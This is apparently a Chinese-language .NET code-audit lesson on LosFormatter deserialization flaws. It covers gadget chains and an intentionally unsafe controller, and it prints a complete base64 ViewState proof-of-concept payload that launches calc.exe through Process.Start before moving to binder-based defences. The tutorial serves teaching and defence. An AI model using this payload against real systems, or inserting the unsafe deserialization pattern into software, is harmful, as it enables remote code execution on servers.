.NET高级代码审计(第十一课) LosFormatter反序列化漏洞
字数 1086 2025-08-18 11:38:28
.NET LosFormatter 反序列化漏洞分析与防御
一、LosFormatter 概述
LosFormatter (Limited Object Serialization Formatter) 是 .NET 框架中用于序列化和反序列化 Web 窗体页视图状态(ViewState)的类。它位于 System.Web.dll 程序集的 System.Web.UI 命名空间下。
主要特点:
- 专为高度精简的 ASCII 格式序列化设计
- 支持序列化任何对象图
- 常用于处理 ViewState 的持久化存储(如数据库)
二、序列化机制
基本序列化示例
public class TestClass
{
public string Name { get; set; }
public string Value { get; set; }
public int Id { get; set; }
public static void ClassMethod()
{
Process.Start("calc.exe");
}
}
// 序列化过程
TestClass test = new TestClass { Name = "Ivan1ee", Value = "Hello", Id = 1 };
LosFormatter formatter = new LosFormatter();
string serializedData;
using (StringWriter writer = new StringWriter())
{
formatter.Serialize(writer, test);
serializedData = writer.ToString();
}
// 输出为Base64编码格式
序列化后的数据通常为 Base64 编码格式。
三、反序列化漏洞原理
3.1 基本反序列化方法
LosFormatter formatter = new LosFormatter();
object obj = formatter.Deserialize(serializedData);
// 或从Stream反序列化
// object obj = formatter.Deserialize(stream);
3.2 主要攻击向量
1. ActivitySurrogateSelector
利用原理与 SoapFormatter 类似,通过重写 ISerializationSurrogate 调用恶意代码。
攻击步骤:
- 构造恶意序列化数据
- 使用 LosFormatter 反序列化
- 触发恶意代码执行
2. PSObject (CVE-2017-8565)
Windows PowerShell 远程代码执行漏洞,但已通过补丁修复。
3. MulticastDelegate
利用原理与 NetDataContractSerializer 类似,通过委托链执行恶意代码。
四、漏洞利用代码示例
4.1 不安全的代码示例
public ActionResult DeserializeData(string content)
{
LosFormatter formatter = new LosFormatter();
object obj = formatter.Deserialize(content); // 危险的反序列化操作
return View(obj);
}
4.2 完整的 PoC
/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=
此 PoC 会执行 calc.exe 计算器程序。
五、防御措施
-
避免反序列化不受信任的数据
- 永远不要反序列化来自不可信源的 LosFormatter 数据
-
使用替代方案
- 考虑使用 JSON 等更安全的序列化格式
- 对于 ViewState,考虑使用
ViewStateUserKey和MAC验证
-
输入验证
- 对反序列化的数据进行严格验证
- 实现自定义的序列化绑定器
-
代码示例 - 安全的反序列化
public ActionResult SafeDeserialize(string content)
{
// 1. 验证数据来源和完整性
if (!IsValidSource(content))
{
return BadRequest();
}
// 2. 使用自定义的SerializationBinder
LosFormatter formatter = new LosFormatter();
formatter.Binder = new SafeSerializationBinder();
try
{
object obj = formatter.Deserialize(content);
// 3. 验证反序列化后的对象类型
if (obj is ExpectedType)
{
return View(obj);
}
return BadRequest();
}
catch
{
return BadRequest();
}
}
// 自定义安全绑定器
public class SafeSerializationBinder : SerializationBinder
{
public override Type BindToType(string assemblyName, string typeName)
{
// 只允许特定类型
if (typeName == typeof(ExpectedType).FullName)
{
return typeof(ExpectedType);
}
throw new SerializationException("Unauthorized type");
}
}
- 应用层防护
- 实现 Web 应用防火墙规则检测恶意序列化数据
- 保持 .NET 框架和系统补丁最新
六、总结
LosFormatter 反序列化漏洞是 .NET 应用中常见的安全风险,主要由于:
- 反序列化不受信任的数据
- 缺乏类型检查和验证
- 使用危险的序列化功能
开发人员应当:
- 避免直接反序列化用户输入
- 实现严格的类型检查
- 考虑使用更安全的替代方案
- 保持框架和组件更新
通过遵循安全编码实践和防御性编程,可以有效降低 LosFormatter 反序列化带来的安全风险。